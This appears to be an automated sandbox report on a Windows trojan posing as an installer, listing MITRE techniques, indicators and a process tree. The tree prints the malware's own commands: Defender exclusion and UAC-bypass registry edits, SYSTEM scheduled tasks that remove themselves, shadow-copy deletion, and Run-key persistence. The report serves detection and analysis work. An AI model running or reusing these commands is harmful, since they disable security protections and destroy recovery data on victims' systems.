4ce4a14ff24db023c287149daa0b71ec4ee888e739542beb7e38cee92a60c10b

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/08/2026, 22:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
setup_a9.0.09.exe
Size 31.2MB
Sample260830-2a3qdaaq2x
SHA256 4ce4a14ff24db023c287149daa0b71ec4ee888e739542beb7e38cee92a60c10b
MD5 99af248de39d558114fd397f1e439005
SHA1 b11e5959f2e38f1dd9717f04122e1cc1765b8e17
SHA512 17916bbe01ea9a40c85e910f055b3880f6520c14dbba5b3f7cd1a0c185fd71ade52ea85c85461e0acd9d0fb1cd0615d07178a126cd2bc2c061f9debdfca210b3
SSDEEP 98304:Xi9U9dbM4EJ3yZLxG8caZfnjIhKnp5l6t4l8xMv4cl:S2vbMxJ35aZfnOElY4lzH
TLSH
T115776012B346898BE476A278484B8F94E321EDB19AB1937773B4731E1FFE34C5E96104
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	IXC4fS.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\tF3m9d = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3504	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	IXC4fS.exe

Executes dropped EXE 8 IoCs

pid	Process
2340	1Ftty1.exe
4072	1Ftty1.exe
1952	IXC4fS.exe
108	IXC4fS.exe
5732	IXC4fS.exe
5092	4Mb1O.exe
2868	IXC4fS.exe
4060	4Mb1O.exe

Loads dropped DLL 8 IoCs

pid	Process
2340	1Ftty1.exe
4072	1Ftty1.exe
1952	IXC4fS.exe
108	IXC4fS.exe
5732	IXC4fS.exe
5092	4Mb1O.exe
2868	IXC4fS.exe
4060	4Mb1O.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1372	icacls.exe
1412	icacls.exe
2920	icacls.exe
2480	icacls.exe
4864	icacls.exe
5648	icacls.exe
3444	icacls.exe
4696	icacls.exe
1172	icacls.exe
5140	icacls.exe
6108	icacls.exe
5564	icacls.exe
4872	icacls.exe
4720	icacls.exe
1456	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\tF3m9d\\1Ftty1.exe\""	1Ftty1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\29x7q0\\IXC4fS.exe\""	IXC4fS.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2748	cmd.exe
3416	cmd.exe
5580	cmd.exe
2560	cmd.exe
4856	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	1Ftty1.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\FliZXA\4Mb1O.exe	IXC4fS.exe
File opened for modification	C:\Program Files (x86)\FliZXA\thumbs.db	IXC4fS.exe
File opened for modification	C:\Program Files (x86)\FliZXA\4Mb1O.exe	IXC4fS.exe
File opened for modification	C:\Program Files (x86)\29x7q0	1Ftty1.exe
File created	C:\Program Files (x86)\29x7q0\IXC4fS.exe	1Ftty1.exe
File created	C:\Program Files (x86)\29x7q0\image.png	1Ftty1.exe
File opened for modification	C:\Program Files (x86)\29x7q0\IXC4fS.exe	1Ftty1.exe
File opened for modification	C:\Program Files (x86)\29x7q0\image.png	1Ftty1.exe
File opened for modification	C:\Program Files (x86)\FliZXA	IXC4fS.exe
File opened for modification	C:\Program Files (x86)\FliZXA\image.png	IXC4fS.exe
File created	C:\Program Files (x86)\29x7q0\XPSPLOG.dll	1Ftty1.exe
File opened for modification	C:\Program Files (x86)\29x7q0\thumbs.db	1Ftty1.exe
File created	C:\Program Files (x86)\FliZXA\image.png	IXC4fS.exe
File created	C:\Program Files (x86)\FliZXA\XPSPLOG.dll	IXC4fS.exe
File opened for modification	C:\Program Files (x86)\FliZXA\XPSPLOG.dll	IXC4fS.exe
File created	C:\Program Files (x86)\29x7q0\thumbs.db	1Ftty1.exe
File created	C:\Program Files (x86)\FliZXA\thumbs.db	IXC4fS.exe
File opened for modification	C:\Program Files (x86)\29x7q0\XPSPLOG.dll	1Ftty1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\ScreenSaveActive = "0"	IXC4fS.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	IXC4fS.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\SCRNSAVE.EXE	IXC4fS.exe

Executes a command shell one-liner 1 TTPs 21 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3256	cmd.exe
1880	cmd.exe
1832	cmd.exe
1280	cmd.exe
2536	cmd.exe
5036	cmd.exe
3672	cmd.exe
4808	cmd.exe
2812	cmd.exe
2284	cmd.exe
3368	cmd.exe
5716	cmd.exe
2224	cmd.exe
4888	cmd.exe
4708	cmd.exe
5588	cmd.exe
3268	cmd.exe
3808	cmd.exe
2872	cmd.exe
3772	cmd.exe
2040	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IXC4fS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4Mb1O.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IXC4fS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4Mb1O.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IXC4fS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IXC4fS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\ScreenSaveActive = "0"	IXC4fS.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	IXC4fS.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	IXC4fS.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\SCRNSAVE.EXE	IXC4fS.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3476	schtasks.exe
4896	schtasks.exe
5132	schtasks.exe
4868	schtasks.exe
2536	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
4836	setup_a9.0.09.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe
2340	1Ftty1.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3504	powershell.exe
Token: SeIncreaseQuotaPrivilege	3504	powershell.exe
Token: SeSecurityPrivilege	3504	powershell.exe
Token: SeTakeOwnershipPrivilege	3504	powershell.exe
Token: SeLoadDriverPrivilege	3504	powershell.exe
Token: SeSystemProfilePrivilege	3504	powershell.exe
Token: SeSystemtimePrivilege	3504	powershell.exe
Token: SeProfSingleProcessPrivilege	3504	powershell.exe
Token: SeIncBasePriorityPrivilege	3504	powershell.exe
Token: SeCreatePagefilePrivilege	3504	powershell.exe
Token: SeBackupPrivilege	3504	powershell.exe
Token: SeRestorePrivilege	3504	powershell.exe
Token: SeShutdownPrivilege	3504	powershell.exe
Token: SeDebugPrivilege	3504	powershell.exe
Token: SeSystemEnvironmentPrivilege	3504	powershell.exe
Token: SeRemoteShutdownPrivilege	3504	powershell.exe
Token: SeUndockPrivilege	3504	powershell.exe
Token: SeManageVolumePrivilege	3504	powershell.exe
Token: 33	3504	powershell.exe
Token: 34	3504	powershell.exe
Token: 35	3504	powershell.exe
Token: 36	3504	powershell.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 2340 wrote to memory of 3504	2340	1Ftty1.exe	93
PID 2340 wrote to memory of 2748	2340	1Ftty1.exe	95
PID 2748 wrote to memory of 4896	2748	cmd.exe	97
PID 2748 wrote to memory of 5832	2748	cmd.exe	98
PID 2340 wrote to memory of 3416	2340	1Ftty1.exe	101
PID 2748 wrote to memory of 3368	2748	cmd.exe	100
PID 2340 wrote to memory of 5580	2340	1Ftty1.exe	104
PID 3416 wrote to memory of 5132	3416	cmd.exe	106
PID 5580 wrote to memory of 4868	5580	cmd.exe	108
PID 3416 wrote to memory of 568	3416	cmd.exe	109
PID 5580 wrote to memory of 2512	5580	cmd.exe	111
PID 3416 wrote to memory of 3940	3416	cmd.exe	112
PID 2340 wrote to memory of 2560	2340	1Ftty1.exe	113
PID 5580 wrote to memory of 3016	5580	cmd.exe	115
PID 2560 wrote to memory of 2536	2560	cmd.exe	116
PID 2560 wrote to memory of 3084	2560	cmd.exe	117
PID 2340 wrote to memory of 4856	2340	1Ftty1.exe	122
PID 2560 wrote to memory of 2128	2560	cmd.exe	124
PID 4856 wrote to memory of 3476	4856	cmd.exe	125
PID 4856 wrote to memory of 1692	4856	cmd.exe	126
PID 4856 wrote to memory of 1780	4856	cmd.exe	128
PID 3808 wrote to memory of 5976	3808	cmd.exe	130
PID 2872 wrote to memory of 4524	2872	cmd.exe	131
PID 1880 wrote to memory of 5712	1880	cmd.exe	133
PID 5716 wrote to memory of 3112	5716	cmd.exe	134
PID 2340 wrote to memory of 1952	2340	1Ftty1.exe	135
PID 1952 wrote to memory of 2224	1952	IXC4fS.exe	137
PID 1952 wrote to memory of 4888	1952	IXC4fS.exe	140
PID 1952 wrote to memory of 4708	1952	IXC4fS.exe	142
PID 4888 wrote to memory of 1456	4888	cmd.exe	144
PID 1952 wrote to memory of 1832	1952	IXC4fS.exe	147
PID 1832 wrote to memory of 3444	1832	cmd.exe	149
PID 1952 wrote to memory of 3368	1952	IXC4fS.exe	150
PID 3368 wrote to memory of 1372	3368	cmd.exe	152
PID 1952 wrote to memory of 2284	1952	IXC4fS.exe	153
PID 2284 wrote to memory of 4696	2284	cmd.exe	155
PID 1952 wrote to memory of 5036	1952	IXC4fS.exe	156
PID 5036 wrote to memory of 5564	5036	cmd.exe	158
PID 1952 wrote to memory of 3268	1952	IXC4fS.exe	159
PID 3268 wrote to memory of 1412	3268	cmd.exe	161
PID 1952 wrote to memory of 5588	1952	IXC4fS.exe	162
PID 5588 wrote to memory of 6108	5588	cmd.exe	164
PID 1952 wrote to memory of 2812	1952	IXC4fS.exe	165
PID 2812 wrote to memory of 4864	2812	cmd.exe	167
PID 1952 wrote to memory of 2040	1952	IXC4fS.exe	168
PID 2040 wrote to memory of 4872	2040	cmd.exe	170
PID 1952 wrote to memory of 4808	1952	IXC4fS.exe	171
PID 4808 wrote to memory of 4720	4808	cmd.exe	173
PID 1952 wrote to memory of 2536	1952	IXC4fS.exe	174
PID 2536 wrote to memory of 2920	2536	cmd.exe	176
PID 1952 wrote to memory of 3772	1952	IXC4fS.exe	177
PID 3772 wrote to memory of 2480	3772	cmd.exe	179
PID 1952 wrote to memory of 3672	1952	IXC4fS.exe	180
PID 3672 wrote to memory of 1172	3672	cmd.exe	182
PID 1952 wrote to memory of 3256	1952	IXC4fS.exe	183
PID 3256 wrote to memory of 5140	3256	cmd.exe	185
PID 1952 wrote to memory of 1280	1952	IXC4fS.exe	186
PID 1280 wrote to memory of 5648	1280	cmd.exe	188

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	IXC4fS.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\setup_a9.0.09.exe
"C:\Users\Admin\AppData\Local\Temp\setup_a9.0.09.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4836

C:\Users\Public\tF3m9d\1Ftty1.exe
"C:\Users\Public\tF3m9d\1Ftty1.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\tF3m9d\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\tF3m9d\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5832
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5132
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:568
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5580
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4868
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2512
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2536
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3084
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3476
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1692
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1780
- C:\Program Files (x86)\29x7q0\IXC4fS.exe
  "C:\Program Files (x86)\29x7q0\IXC4fS.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1952
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2224
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29x7q0" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4888
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29x7q0" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1456
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4708
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29x7q0" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1832
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29x7q0" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3444
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29x7q0" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3368
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29x7q0" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1372
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29x7q0\IXC4fS.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2284
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29x7q0\IXC4fS.exe" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4696
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29x7q0\IXC4fS.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
